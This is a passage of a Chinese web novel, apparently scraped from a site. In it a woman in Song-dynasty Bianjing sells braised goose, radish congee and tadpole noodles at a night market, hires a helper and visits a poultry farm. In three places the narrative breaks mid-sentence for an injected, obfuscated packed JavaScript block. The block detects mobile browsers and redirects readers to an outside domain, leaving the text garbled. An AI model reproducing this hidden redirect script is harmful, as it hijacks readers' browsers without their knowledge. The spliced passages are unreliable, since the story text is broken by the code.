柳金枝笑道：“多谢婶子的提醒，奴记得了。” “不用谢，大家做点小生意都不容易，更何况你还一个人带着两个弟妹，我们能照顾一点就是一点。” 胖婶子大方地摆摆手。 结果余光瞥见有两位年轻娘子正路过她的食摊，便赶忙转过头去，大声吆喝： “焦碱水锥最是酥脆爽口，二位娘子来一个，绝对好吃不亏！” 焦碱水锥就是油炸糯米团子。 在宋朝，这类小吃一般配着糖蜜，蘸着吃，外脆里糯，口感很好。 果然，两个小娘子听到是这个小食，驻足挑拣了片刻，笑嘻嘻地要了六个装起来。 胖婶子就这么赚得了二十几文。 旁边的清瘦男人也不甘示弱，大声吆喝起他的杂嚼：“嘿！走过路过不要错过！好吃脆口的杂嚼！有旋炒栗子！金橘团！蜜麻酥！糖豌豆……” 男人恨不得一口气报出十来种杂嚼来。 果然也吸引了一些年轻爱吃的小娘子过去购买。 月牙看的心头火热，摩拳擦掌道：“阿姐，咱们卖什么？我去替你吆喝！” 柳金枝想了想，最后将目光看向因为杜卫而买回来的那只鹅。 “花了四钱银子买回来的鹅，不好好做一顿就可惜了。”柳金枝把鹅提起来，“今天做卤狮头鹅。” 月牙点头，跳到食摊外头，深吸一口气，大声吆喝道：“卖卤狮头鹅咯！卖卤狮头鹅！卤味好吃又多汁！” 瞧月牙这么干劲十足，柳霄也掏出了自己的算盘，噼里啪啦的盘了一顿之后，道：“这鹅约莫六斤重，除却羽毛、内脏……咱们每份卤味得定在三十五文左右才能回本。阿姐，会不会有些贵了？” 柳金枝笑道：“若做的不好吃就是贵了，若做的好吃，那就是物超所值。” 这夜市上不是常有达官贵人们行走吗？ 宋朝的吃货们，可是很乐意为吃的付银子的。 起锅！烧水！拔毛！ 一只略肥的狮头鹅在柳金枝手中很快就被清理得当。 再里里外外清洗过一遍之后，挂起来沥干水分备用。 卤味最要紧的就是卤料。 卤料得当，才能把肉菜卤的飘香十里。 于是柳金枝备下新鲜小葱两根、十颗红葱头、十瓣大蒜、两块南姜、一把香菜头，以及冰糖、桂皮、八角、丁香、草果、白豆蔻等物，将之分门别类摆在一边。 第一步，先将香葱洗干净去头切段，再挑出四瓣红葱头、四瓣大蒜去皮切开。 清香的小葱味和浓厚的蒜味儿，就从菜刀的一起一落清脆的咔嚓声中飘了出来。 柳金枝很喜欢这样清新的味道，深吸了一口，心情颇为愉悦。 就笑着起锅倒入菜籽油，将葱段、红葱头和大蒜通通赶进去，大火烹煮熬炸成葱油。 葱油最大的优点就是给食物提香，胜过一般的食用油。 第二步则是取一块干净纱布，然后把之前备下的各类卤料，各取出五十克到五克不等的分量，一齐塞入纱布之中，再用细白绳拴紧系牢。 锅要用大卤锅。 好在之前柳金枝去购入锅碗瓢盆的时候，将各类她有可能用到的锅都买了一遍，一齐拉到了摊位上。 于是挑拣出来一只大炉锅架在红泥火炉之上，加入葱油、卤料，以及十勺生抽、两勺老抽和一小袋老卤水。 旁边洗干净了的狮头鹅此时也晾的差不多了，也取下来放进锅里，再倒入成桶的清水，直至漫过狮头鹅的头顶，就可以扣上锅盖，着力大火烧开。 这些杂活儿不用柳金枝做，柳霄主动抱着一捆柴蹲在灶眼口，手上利落干脆地往里塞柴火棍。 柳金枝嘱咐他：“大火烧开之后再转小火慢慢煨卤，不要一直用大火，这样会不入味儿。” 柳霄道：“阿姐放心吧。” 然后更用心地盯着灶内火光。 柳金枝点点头，尔后转过头去调制蘸料。 不论是古是今，蒜泥都是各种蘸料里的灵魂。 在现代吃海底捞或者火锅的时候，柳金枝取小料时一定会多加蒜泥提香，要是再拌上香菜和满满一勺陈醋，那将会是绝杀！ 所以柳金枝按照自己的口味来，先将蒜片放入石臼里头细细捣碎，直捣了一大碗。再用小勺子盛出两勺来放入小料碗中，淋上陈醋调味。 以此来配卤狮头鹅吃，风味更佳。 而灶眼口火蛇四起，直烧的大卤锅下半部分鲜红，里头沸水滚动，热蒸汽顶的锅盖来回碰撞，叮当作响。 柳金枝干脆走过去掀开锅盖，刹那间，喷香诱人的卤味散的到处都是。 不少食客闻着这香，就顺着月牙的吆喝声围拢了过来。 “柳娘子，这卤味怎么卖呀？”有个食客没忍住香，问价道。 柳金枝眉眼带笑，温温柔柔地说：“一份三十五文。” 三十五文？！ 有这钱，他们不知可以在夜市上再买多少杂嚼了。 当下有些人觉得贵，就想退出去。 没想到柳金枝拿了铁钩子，穿过狮头鹅的脖颈将鹅提起来，又另取了一柄长柄圆头大铁勺过来，从大卤锅里舀了勺麻辣鲜红的卤汁，不缓不急地浇在狮头鹅身上。 鲜亮发红的卤汁在鹅身淋漓尽致地流过，蒸腾的热气将卤香更是扑的到处都是，像海浪一般一阵阵冲扑过来，又把那些想走的食客给活生生勾住了。 大家就这么瞧着柳金枝一勺接着一勺地舀起卤汁淋在鹅身上，把鹅的外表皮肉卤的颜色漂亮又均匀。 不差钱的食客此时已经按捺不住，从腰间茄袋里解出三十五文拍在桌上，道：“我来一份！” 柳霄赶忙把铜子收起来，笑道：“您请这边排队，卤好了第一个给您。” 有一就有二，有二就有三…… 少部分食客慷慨解囊，把钱给了柳霄，站在一边排队。 然而大多数食客还在观望，但又被这香味儿勾住，一时舍不得走，也就站在原地看柳金枝浇卤。 这卤狮头鹅要不了多长时间，半个时辰即可。 先前柳金枝放卤之时就已经过了两刻钟，浇卤又浇了一刻钟，最后再将狮头鹅按进卤汁里头小火慢慢炖煨入味儿。 又一刻之后，就是开锅取肉之时。 众人的眼睛都盯着那口大卤锅。 柳金枝眼疾手快地揭开，拉住钩子，将狮头鹅直直地提起来。 哗啦一声，卤汁荡漾。 紧接着啪！ 卤狮头鹅浑身冒着热辣辣的香气，倒在木质砧板上，身上的鲜红卤汁还在不断地顺着外皮往下流。 柳金枝操起菜刀，干脆利落地剁下双翅、双腿，再中间切刀，把肉脯，鹅屁股全部切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467421|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好，率先装拣了四五块卤肉脯递给第一位食客。 那食客一接到手，就迫不及待地咬了一口。 这可是刚出锅的肉，直烫的他嘶嘶呼气，却怎的都不肯先松口吹吹，反而直接撕咬下一大块卤肉，大口嚼用起来。 第二位食客见状，也是忍不住咽了口口水，直接上口。 第三位同样…… 看这几人狼吞虎咽，根本说不出卤肉哪里不好的样子，其他还在观望的食客一把蜂拥而上。 “我要鹅翅！” “鹅腿给我两支！两支！” “我也……” 当然，鹅翅和鹅腿可都是另外的价钱，要更贵一些。 但是看这三人吃的这么香，被挑起口腹之欲的食客们自然无论如何都要尝尝鲜。 什么味道的卤狮头鹅能卖这么贵？ 我也尝尝！ 于是半个时辰做出来的卤鹅，不消一刻钟的时间就全卖出去了。 月牙都忘了吆喝，呆呆地看着人们跟一阵旋风似的卷走了全部卤鹅。 柳霄则在哪儿慌忙收钱，七手八脚地根本忙不过来，可是再忙，他脸上都带着抑制不住的笑。 “这是您的一份。” “这是您的，您拿好。” “没了，没了，是真的没了……” …… 就一只六斤的鹅，根本供不了这么多人吃。 所以哪怕后头还有不少人拿着钱挤过来，柳金枝都只能遗憾又肉疼地摇摇头。 月牙摸了摸抽屉里的铜子，就像做梦一样，道：“我的天爷啊，阿姐，原来做夜市真的这么赚钱！我们下次还卖卤味吧！” 柳霄也是双眼发亮，但他还是先掏出算盘来算了一下，道：“如果大家每次都愿意出三十五文的话，确实比我们卖其他东西赚多了。” “好，那我们明天就去再买几只鹅回来！”柳金枝笑道。 一家三口兴奋不已。 这时，却有一位衣着颇为华丽的少女，步伐款款地走过来。 目光挑剔地将食摊上下一打量，道：“你们这儿是新开的摊子？” 见对方衣着神情，便知道怕是哪家富贵人家里出来的。 柳金枝收敛神色，温和有礼道：“回禀这位娘子，我们这食摊昨日才开呢。” “昨日才开？”少女有几分惊讶，“那方才摊上围着这么些人，都是在买什么？” “卤狮头鹅。”柳金枝笑容谦和，“但现下已经卖光了，娘子若想要，可以明日再来。” 少女想了一想，蹙眉道：“不行，我等不到明日，今日就要。” “这……”柳金枝为难。 “若是没有你说的狮头鹅，那就拣别的拿手好菜做来。”少女从袖子里摸出一只精致茄袋，抬手扔给柳金枝一钱银子，“不拘卖多少，这一钱银子总是够了。三刻钟之后，我再来取。” 说完竟也不给柳金枝反应的机会，转身就走了。 柳金枝讶然，倒不知世上还有这般强买强卖的道理。 好在旁边的胖婶子在这片待的久，替柳金枝解释道： “柳家娘子，那个丫头可不是好惹的，她是城北钦天监司正的家人！” “那司正家的大姐不思饮食好久了，所以这个丫头每天晚上就来夜市逛，遇到什么好吃的就带回去给她大姐吃。” “但她将咱夜市上的东西买了个遍，愣是没一个合心意的。” “所以到了第二日这丫头来转过来骂咱们，骂完了又买。” “哎哟，整个夜市的摊主没一个不怕的！” 竟然这般泼辣？ 柳金枝皱起眉头。 月牙听着害怕，道：“阿姐，这份银子还是别挣了，万一她隔天来闹咱们怎么办？” 但是这可是一钱银子！ 柳金枝放不下。 思索片刻后，还是决定道：“挨骂就挨骂，这可是银子！” 跟谁过不去，都不能跟钱过不去。 挣钱嘛，不寒碜！ 19. 老菜脯砂锅粥 但是做个什么菜，柳金枝还是没想好。 “婶子。”柳金枝笑眯眯的问胖婶子，“那位司正家的大姐就没一个爱吃的？” “那我倒是没听说。”胖婶子摇摇头。 “那这位大姐平日里都在夜市上买什么？”柳金枝又问 “还能买什么？各类杂嚼、焦碱水锥、滴酥鲍螺……咱吃不到的富贵吃食都买过。”胖婶子揣着手，叹息地摇头，“但她就是吃的不爽快，我瞧啊，那不是吃不下，那是吃得太饱！饿她一两顿，就是糙米炊饼她也吃。” 这话说的柳金枝眼前一亮。 这世上除了穷病，还有一种富贵病。 各种大鱼大肉养的太好了，反而叫人吃腻歪了倒胃口。 不如给这位小姐上一点清粥小菜，说不定能起到不一样的效果。 于是跟胖婶子道过谢后，柳金枝将这丫头给的一钱银子分出一半交给柳霄，低声耳语道：“去找个海货铺子，挑些上乘的虾干、鱿鱼干回来，不需太多。” 柳霄点头，转身走了。 又给了月牙剩下的一半，道：“你也去找个干货铺子，买一根晒的最漂亮的老菜脯回来。” 月牙认真点头，揣着钱快快地跑了。 柳金枝这回要做的是“老菜脯砂锅粥。” 所谓老菜脯，其实就是晒干了的萝卜干。 晒的越漂亮，时间越久，就越香，越有嚼劲。 一般的地方会把这些萝卜干晒好了，留到冬天调入豆瓣酱，小磨香油等等拌着吃。 而还有的地方则是会用这种老菜脯熬粥，里头的盐分和萝卜的劲道香味，就会在熬制的过程中慢慢渗透进粥里。再加上各类干货海鲜，最后熬出来的粥说不上有多漂亮华丽，但口感一定极滑嫩鲜香。 所以等到柳霄和月牙分别把东西带回来之后，柳金枝就开始煲粥了。 相比起卤狮头鹅等大菜，熬粥的步骤就显得简要许多。 首先要把大米淘洗干净，放到砂锅之中，加适量清水煮开。 再将柳霄带回来的老菜脯细细地切成丁状放在一边备用。 紧接着处理月牙买回来的干海货，把一些有杂质的地方挑出来，再切成丝。 其实只是因为现在是冬日，应季的鲜虾、鱿鱼之类的海产品买不到，否则这老菜脯砂锅粥是不必用干货的。 哪怕保存的再怎么好，终究也没有活蹦乱跳的鲜货味道好。 但现在条件有限，柳金枝也不多挑剔什么了。 往灶眼里加柴火，烈火煮的砂锅内的粥开了花，柳金枝就将切好了的老菜脯、虾仁、鱿鱼干等一齐赶进去，最后盖上砂锅盖子小火焖煮。 期间也有不少食客来问这煮的粥卖不卖，但因为这是别人提前定好的，柳金枝表示不卖之后，又向食客们推荐起了自己的蝌蚪粉。 毕竟是要出来做夜市的，不能只赚一小部分人的钱，要赚，就要广揽食客。 柳金枝做面食方面的吃食在行，就给自己定位在这方面。 食客见她煲的粥闻起来还挺香，也愿意再尝尝别的。 于是柳金枝赶忙取出面粉来加水，搅成糊糊，再把整个面盆端到锅边，从摆放齐整的做饭工具处选了“甑”出来。 甑是一种盆状陶器，盆底有很多的孔洞，用三脚架把它架在锅的上方，一来可以蒸饭，二来可以像柳金枝一样把面糊糊倒进去，再用手按压，这些黏黏糊糊的面糊糊就会从甑底的窟窿眼里掉下去，扑通扑通摔进滚起来的沸水中。 由于是用外力把面糊糊强硬按压下去的，所以这些一小团一小团的面糊就会呈现一种大头小尾巴的形状，在沸水里上下浮动的时候就像是一个个小蝌蚪在游，故而称之为蝌蚪粉。 这类粉就是在现代也很流行，在豫东平原那边有道面食就叫“□□蝌蚪”，大概就是宋朝这蝌蚪粉的直系后代了。 在一百度的高温滚水之下，面糊糊很快就被烫熟了。 柳金枝用铁笊篱把这些面糊糊捞起来，反扣装进一只碗里冲凉、过水。 再用蒜泥、小葱段、大粒盐、南姜丝，以及香菜叶、小磨油、江米醋调成料汁淋浇上去，用竹著搅拌均匀。光是闻闻味儿，都想得出这碗蝌蚪粉是多么酸辣鲜香、口感滑嫩，一口下去，顺顺溜溜滑到肚子里，软弹到几乎都不用过牙。 然而这还不是最后一步。 柳金枝翻找出一颗油麦小白菜，拆折两片碧绿鲜嫩的叶子下来丢入滚水之中，用铁笊篱上上下下来回三遍烫熟，将之卧倒在蝌蚪粉之上。 小颗青菜配小面，相得益彰。 柳霄定价为十二文一碗，比别家大约贵个一两文。 但那食客也大方，二话不说，直接解开茄袋付了账，就端着碗坐在桌边呼啦呼啦吸面条去了。 尔后又有不少食客来光顾柳氏食摊，柳金枝就让月牙给他们报菜。 主推蝌蚪粉，次推馄饨、菜包等一系列面食。 几刻钟下来，倒也算是客似云来。 而那付了柳金枝定金的少女按照约定，在三刻钟之后来取菜了。 还一副挑剔模样，道：“柳娘子，你预备的什么菜？” 柳金枝笑道：“老菜脯砂锅粥。” 少女不满意地皱起眉，声音有些尖刻：“你就给我家大姐做这个？” 柳金枝态度依旧谦和有礼，道：“食物不分贵贱，只要好吃就行。再说了，娘子只叫我挑拿手的做来，却没说不能要粥。” 少女气的脸色发红，看样子很想让柳金枝再做一份。 可是这回少女身后还跟着个小娘子，两人似是结伴同行的，见少女要和柳金枝吵起来，皱眉催促道：“好啦，做粥便是粥了，大姐还等着吃呢。再说了，大姐舌头叼，兴许又不肯吃，你与她争辩这些又有什么用？” 少女知道同伴说的有理，可还是气闷，又看着在炉火上炖煨许久的砂锅，道：“这砂锅如此烫手，我该如何带走？你不如派个咸汉替我送去府上。” 咸汉就是古代版的外卖小哥。 有些客人不爱在饭馆里头用饭，就提前点好餐，叫饭馆做了送来。吃完之后，又叫咸汉去把碗碟收回来，连洗都不用自己洗。 不得不说，其实古人也很会享受。 但是柳金枝的食摊就三个人，她是膳工，柳霄收钱算账，月牙照顾食客，谁都走不开。 柳金枝不由拧起了眉头，道：“娘子，你……” “让我去送吧。” 一道声音横插进来。 一家三口动作整齐划一地抬头一看，发现居然是杜卫。 杜卫眼眶还红着，面容疲惫，膝盖上还沾着泥土，似乎曾在坟前长跪不起。 “你可以吗？”柳金枝轻声，“要不要再休息休息？” 杜卫默默摇了摇头，道：“不用了，我休息够了。东家，派活给我做吧。” 柳金枝听着这话，忍不住皱了下眉，道：“其实你不用叫我东家。” “我阿娘说过，公是公，私是私。我既然已经要到这里干活儿，那您就是我的东家。霄哥儿和月牙就是少东家。”杜卫擦了把脸，声音哽咽，却也诚恳，“我力气很大，腿脚很快，这汴京城的路我都认识。东家要跑腿、送货、买东西，都可以差使我去。” 说着，就主动拿抹布盖住砂锅，从火炉上抬了起来，放进了一只篮子里。 柳金枝也就道：“好，那就麻烦你跟着这位娘子跑一趟吧。” 杜卫点头，扛起篮子就跟着少女去了。 柳霄望着杜卫，道：“杜哥哥是个很倔的人，一旦认了死理就改不过来。” “唉，我只是觉得他才失了娘亲，不必再跟我们这么生分。”柳金枝叹了口气，“算了，以后我们还有时间慢慢相处。晚上让他跟着咱们一起回去，就住你隔壁吧。” 柳霄点头：“好。” “然后你再跟杜卫谈一谈工钱。我们现下是穷些，但以后好转了，他的工钱也能逐步往上提。还有逢年过节的红利钱也不会少，让他尽管放心。” 不管怎样，杜卫都算是她招收的第一位员工，该给的福利都要给足。 柳霄应了声好，然后拿出算盘来劈里啪啦地盘了一通，确认红利钱的份额。 瞧他认真的样子，倒蛮有大堂经理的范儿。 以后她的柳氏食摊要是真的开成酒楼，就请柳霄来帮她管理，她就省心多了。 时间逐渐流逝，食摊上的吃食慢慢减少。 眼看着蝌蚪粉马上就要卖到最后一份了，食摊前不知何时笼罩了一道高大浓黑的影子。 那人蹙了蹙眉，开口问：“为何不做朝食了？” 柳金枝登时被吓了一跳，抬头看去。 只见眼前人穿一身红黑收袖锦衣，腰间系一条玄色玉带，勒出精壮的腰身。眉眼俊美锋利，一双眸子又黑又亮，像是两颗耀眼的黑曜石。 柳金枝认出来，这边是昨天早上一出手，就是一两赏钱的超级富豪！35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473602|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 叫什么潘……潘什么来着？ 潘琅寰身后跟着几个仆人，替他牵着骏马，他站在摊前，手腕处缠绕着一圈马鞭，眉眼有些冷傲，但更多的是不耐。 “为何不语？”潘琅寰眉头皱的更深，“难道你不想卖我吃食？” 自昨日吃过一次之后，他今日早上又想吃柳氏的馄饨，便派家中仆人出来采买。 结果仆人回来告诉他，柳氏食摊没开门。 他本以为是柳氏临时有事，便想着择日再来。 谁料晚间跟着几个友人外出，正正好好瞧见柳氏食摊客似云来。 平日里他就一贯傲气，想要的东西一时半刻就要得到。但一碗馄饨吊了他一整日，不免就有些埋怨柳金枝改了时辰却不告知一声。 柳金枝赶忙摇头，笑道：“郎君说笑了，我怎的会把生意往外推？实在是做朝食没得做夜市有赚头。” 又笑吟吟地把人往里头迎，“郎君进来坐，我这儿还有最后一碗蝌蚪粉，正好盛与郎君吧？” 潘琅寰挑了挑眉，道：“我这是什么运气？次次都赶上最后一碗？” 看似有些嫌弃，却利落解下手腕马鞭，甩手丢给仆人替他收着，大步流星行至摊位上坐下了。 柳金枝深知开店首看吃食，次看服务，所以干什么都面带微笑。 毕竟伸手不打笑脸人嘛。 对潘琅寰这般颇为傲气的富家子弟，她也是笑呵呵的，小心把最后一碗蝌蚪粉端过去，又轻声细语请他慢用。 柳金枝容貌清丽漂亮，那双水盈盈的眸子满眼盛笑，像是三月春风拂过的湖水，明亮、干净、温暖，叫人看一眼，仿佛再大的不快都能消弭无踪。 潘琅寰不由盯着柳金枝出了会儿神。 正巧柳金枝递过来一双竹箸，笑道：“郎君请用。” 潘琅寰眸光微闪，这才缓慢移开视线，抓起竹箸搅拌碗中蝌蚪粉。 “这碗蝌蚪粉里头有十八个面团，双九之数，寓意合满，恭喜郎君，又是一个好兆头。” 柳金枝笑吟吟的。 她可没忘记上回说了两句吉祥话，潘琅寰就给了她一两赏钱。 这回不知能再得多少？ 嘿嘿。 潘琅寰见柳金枝笑的一双眸子似月牙，也不由勾唇笑了下，从茄袋里翻出一两银子丢过去。 “上回借你吉言。”潘琅寰极黑的眉眼泛起些温度，“我所愿已成。” “看来郎君今年行好运。” 柳金枝嘴上说着，手上却速速把银子装进茄袋里，笑的见牙不见眼。 “若我那个不成器的弟弟能让我省点心，那我就是当真行好运了。” 潘琅寰感叹了一句，低头吃了几口粉。 柳金枝没接话。 双份的吉祥话得收双份的钱。 她笑嘻嘻地走开，继续在摊前招揽食客，却不想潘琅寰埋头吃了两口起来，发现人不见了，转头看见她对着其他食客也是殷勤说笑，眉头又忍不住蹙了起来。 等柳金枝答应着给几位食客挑拣菜包的时候，一抬头，见潘琅寰又站在了她旁边。 “郎君这是没吃饱……？”柳金枝怔了怔。 潘琅寰本想问，他在用膳，为何柳金枝不在旁边等他。 但转念一想，这也不是在潘府，柳金枝不是他府中人，也没这义务。 便道：“我用膳喜有人陪侍。” 柳金枝拧眉：“可我这里还有活儿要忙。” 潘琅寰掏出一两银子“啪”一下放桌上。 柳金枝微微瞪大眼睛，道：“郎君这是何意？” 潘琅寰黑眸中泛起些细密笑意。 “我姓潘，名琅寰。” “娘子说话颇为讨喜，往后我来用膳，你便随侍。” “一次，一两银子。” 柳金枝看看这钱，又看看潘琅寰，第一次对古代有钱人挥金如土的豪横有了具体观感。 “这可是一两。”柳金枝再三确认。 “我私以为为自己的喜好花银子，不是什么大不了的事。”潘琅寰挑眉，“更何况，只是一两。” 柳金枝之前是听说过潘琅寰家中良田千亩，奴仆成片，金银珠宝堆满山。 如果把这些全部换成现银算一算…… 柳霄的算盘抖了一抖，默默对柳金枝比了一个数。 柳金枝顿时咬了咬牙。 这银子，她赚了。 “潘郎君请坐！” 20. 收摊数钱 好在夜市到了最后也不剩什么人了，柳金枝干脆陪潘琅寰坐着，直到他慢条斯理吃完了，才送他离开。 因为是第一次赚快钱，柳金枝又忐忑又兴奋，想着这要是满打满算吃上一个月，她都能去盘一个和蔡氏饭馆差不多的铺子了。 可惜的是，在交谈过程中潘琅寰说他平日里生意繁忙，没有太多私人时间，一个月顶多来吃个三四次。 快速盘铺面的梦想破灭，柳金枝叹着气送走潘琅寰。 她这辈子就是得勤勤恳恳赚钱的命。 好在今夜所得颇为可观，一家三口再加上新加入的杜卫，四人赶忙租了辆驴车坐回采莲胡同。 回家数钱！ 因为杜卫曾经雪中送炭，柳金枝信得过他的人品，所以让柳霄总账的时候也没避着他。 于是四个人围着一方小桌，中间点了一盏煤油灯，就着跳跃着的烛光，一枚铜板一枚铜板的数，柳霄就在哪儿一个算珠接一个算珠的拨。 清脆悦耳的算珠碰撞声足足响了一刻钟才停下。 所有人都紧张地盯着柳霄。 柳金枝问：“算出来了？多少？” “算出来了。” 柳霄大手一挥，把所有算珠抹平，深吸一口气，缓缓道：“……你们要不预估一下？” “哎呀，估个屁！”柳金枝急躁起来可再不温柔小意，急忙催促，“快说快说。” 月牙也催他：“哥，你就别卖关子了！” 柳霄嘴角忍不住翘起，给他们比了个数，语气压的低低的，却仍掩盖不住兴奋。 “除却成本，咱们今天净赚二两并四百九十八文！” “啊啊啊啊！” 月牙一下子从座位上窜起来大声尖叫，激动的小脸通红，连话都不会说了。 柳金枝也不可思议地捂住了嘴巴。 知道夜市比早市赚，没想到能多赚这么多啊！ 虽然其中的二两银子是潘琅寰给的赏钱，但余下的数额也十分可观了。 柳金枝喜的心跳如雷，却也没忘了去自己屋子，把早就准备好的一只硕大的高粱酒坛子抱来。 揪开封口盖子后，柳金枝只让柳霄留了一两银子在手头，预备着支付后续费用，剩余的统统放进这个坛子里，再重新盖上盖子。 “阿姐这是做什么？”月牙问。 “这就是我们的存钱罐。”柳金枝笑道，“咱们就这么一点点攒钱，等到这个坛子攒到一半，我们就能盘个铺面。等到这个攒满，说不定我们就能开个酒楼。” 这个梦想太大了，却又太吸引人了。 柳霄和月牙的目光落在坛子上，眼眸中充满着小心翼翼的希望。 坛子什么时候才能攒满呢？ 不知道。 但如果能每天守着坛子一点点变满，总觉得生活就变得有盼头多了。 “东家，少东家，恭喜啊。” 杜卫在一边给三人道喜，看样子是真心实意为柳金枝高兴。 但是柳金枝拉着他笑道：“给我们道喜，也要给你道喜！我们赚得银子里也有你的一份儿。” “我？”杜卫一愣。 “是啊，赶明儿我就让柳霄拟个文书出来，每月该支付你多少，你每送一趟吃食能分多少，都写出来，你就知道了。” 柳金枝没做过管理，就直接借鉴了现代火锅店的管理模式。 给员工分红、工资，像杜卫有时候要兼职外卖小哥，那就按照外面小哥一单一结。 总之一句话，不能给自己的001号员工吃亏！ 杜卫怔怔地看向柳霄，像是被一个惊喜砸懵了头，需要找人确认。 柳霄笑着向他点点头，道：“我阿姐从不会骗人，她说要给你的，就一定会给你，晚间我就给你拟文书。” 杜卫艰难地张了张嘴巴，想说什么，却一句话都说不出来，喉咙哽咽着，只余下几声破碎的呜咽。 月牙主动走过来拉住杜卫的手，道：“杜哥哥，你以后就把这儿当作家，我们都是你的家人。” 杜卫擦着眼泪，却只会说谢谢。 因为除了这两个字，其余所有的话都显得那么苍白。 柳金枝笑道：“不要哭，我们以后还能过的更好。” “是啊，阿姐，我看今天食摊上很多食客都喜欢卤狮头鹅，咱们不如再去买两只鹅回来，提早卤好了明天再去卖。”柳霄提议。 “我也有这个想法，但是就怕遇上黑心肝的遭了他们的道。”柳金枝道。 汴京城里人多，赚银子的机会多，自然奸商也多。 这些奸商会以次充好，更甚者会直接卖你假货。 《武林旧事》是宋末元初周密创作的一本杂史，其中就记载了汴京城内假货横行的现象—— “又有买卖物货，以伪易真，至以纸为衣，铜铅为金银，土木为香药……” 《癸辛杂识》里又记载了宋朝奸商，用马肉充当鹿肉，为了使肉的味道相近，甚至还把病马肉卖进土中几个时辰，再挖出来用大量香料去味，散卖给汴京城内的食客们。 轻则害人腹泻，重则害人呕吐三天三夜不止，命都险些去了一条。 更别提还有敢卖假药给官员的。 只要有利益，这些假货就是层出不穷、屡禁不止。 柳金枝以后想做长远生意，自然要保证货源干净又稳定，可偏偏禽畜类又是最爱得病的。 万一她花了钱，却买回来一堆病鹅、瘟鸡，不仅赔了银子，还得赔了招牌。 可是在信息不发达的时候，要从偌大的汴京城内找一处靠得住的养殖场着实不易。 柳金枝颇为头疼。 杜卫在此时擦干了眼泪，一抽一抽地说：“东、东家，我知道哪家养殖场最好。” 相比于柳霄和月牙受困于郑氏药材铺，杜卫却常年游走于整个汴京城。 今日替这家做工，明日替那家卖梨。 零零散散地赚得一些辛苦钱回家奉养病母。 所以他是最清楚汴京城内哪些地方干净，哪些地方龌龊的。 “哪儿？”柳金枝问。 “就在南熏门附近，有个王氏养殖场。东家人很好，守信，大方。我去哪儿做过一次短工，瞧他们给鸡鸭鹅喂的都是好豆子，人都可以抓两把吃。” 杜卫说。 “好。”柳金枝信任杜卫，一拍手，“明日带够银子，咱们去这个养殖场看看。” 定好计划之后，四个人各有分工。 第二天一早，柳霄带钱，杜卫带路，柳金枝跟着他俩一起去南熏门考察，月牙则留守在家，等候凿河冰的跛子送冰上门。 他们住在新曹门在汴京城的东边，南熏门在汴京城的北边，算起来两个地方隔得不远。 坐着驴车约莫小半个时辰也就到了。 下了车，杜卫领头走在前头。 因为太早，一路上没见着什么人影，只有路边卖朝食的正在忙忙碌碌。 柳金枝给柳霄、杜卫两个一人买了个索饼，边吃边往王氏养殖场走。 因为养殖场里头鸡鸭鹅都有，拉的屎堆在一起能臭的熏天，所以这种养殖场一般会建在离人群居所稍远一些的地方。 三个人就越走越偏，待到出了城，又往南走，快过了养象所才停下脚步。 柳金枝擦了把汗，隐约闻到了空气中传来的，专属于禽畜类的臭味儿，不由松了口气。 总算是到了。 赶忙整理好发丝、衣裳，登门拜访。 这养殖场的东家名唤王志环，生的圆胖身材，穿着一身油光水滑的黄鼠狼皮毛大氅，把个人包的圆滚滚的，再加上他一双笑眼，看起来便觉得十分忠厚老实。 听闻柳金枝是特意登门来谈生意的，赶忙就把人往迎了进去，奉上一盏茶，双方坐着谈生意。 不过柳金枝不太喜欢这类谈法，交流过后，又把地方挪去了禽畜院子里。 柳金枝和王志环在前边走着，柳霄和杜卫在身后跟着。 王志环给柳金枝介绍道：“柳娘子请看，这里便是我们王氏的禽畜院子。鸡、鸭、鹅、猪都有。就是不知道娘子要什么？” 柳金枝顺着王志环的介绍走近一看。 院子里的鸡鸭鹅笼子上下三行码成一排，占满了内院三面墙。 似是对陌生人的到访有些好奇，这些鸡鸭鹅们顶着绿豆大小的眼睛，伸着脑袋探来探去，咯咯咯，喔喔喔的叫个不停。 柳金枝道：“东家，我们是做食饭生意的，这些鸡鸭鹅自然是什么都要一点。” “哦，原来是这样。” 王志环没少和食贩们打交道，已经轻车熟路，便道： “旁的我不敢说，但有一点我敢打包票。就是我院子里的鸡鸭鹅，肉质都是最上乘的。只因我们都喂他们上好的饲料，喝最清甜的泉水。自然，这价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478651|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格也要比其他地方贵一些。” 哪个卖东西的东家不这样吹嘘自家的货物？ 柳金枝没回应，只一笑，道：“东家，您先开个价让奴估量估量。” 王志环便伸出一个指头，笑道：“按照正常体型算，一只鸡四十文，一只鸭六十文，一只鹅一百二十文。要是买的多，我就给娘子抹些零头。就是不知道娘子想买多少？” 早在王志环开口说的时候，柳霄就已经在后面把成本到出售，再到净赚额都默默算了一遍。 